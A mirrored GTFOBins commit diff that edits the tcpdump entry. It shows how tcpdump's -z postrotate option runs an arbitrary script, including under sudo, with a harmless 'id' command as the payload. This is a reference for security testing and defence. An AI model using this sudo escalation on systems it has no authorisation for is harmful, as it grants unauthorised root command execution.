mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Avoid output file for tcpdump
This commit is contained in:
		@@ -1,16 +1,16 @@
 | 
			
		||||
---
 | 
			
		||||
description: These require some traffic to be actually captured.
 | 
			
		||||
description: These require some traffic to be actually captured. Also note that the subprocess is killed when `tcpdump` terminates.
 | 
			
		||||
functions:
 | 
			
		||||
  execute-non-interactive:
 | 
			
		||||
    - code: |
 | 
			
		||||
        COMMAND='id > /tmp/output'
 | 
			
		||||
        COMMAND='id'
 | 
			
		||||
        TF=$(mktemp)
 | 
			
		||||
        echo "$COMMAND" > $TF
 | 
			
		||||
        chmod +x $TF
 | 
			
		||||
        tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
 | 
			
		||||
  sudo-enabled:
 | 
			
		||||
    - code: |
 | 
			
		||||
        COMMAND='id > /tmp/output'
 | 
			
		||||
        COMMAND='id'
 | 
			
		||||
        TF=$(mktemp)
 | 
			
		||||
        echo "$COMMAND" > $TF
 | 
			
		||||
        chmod +x $TF
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user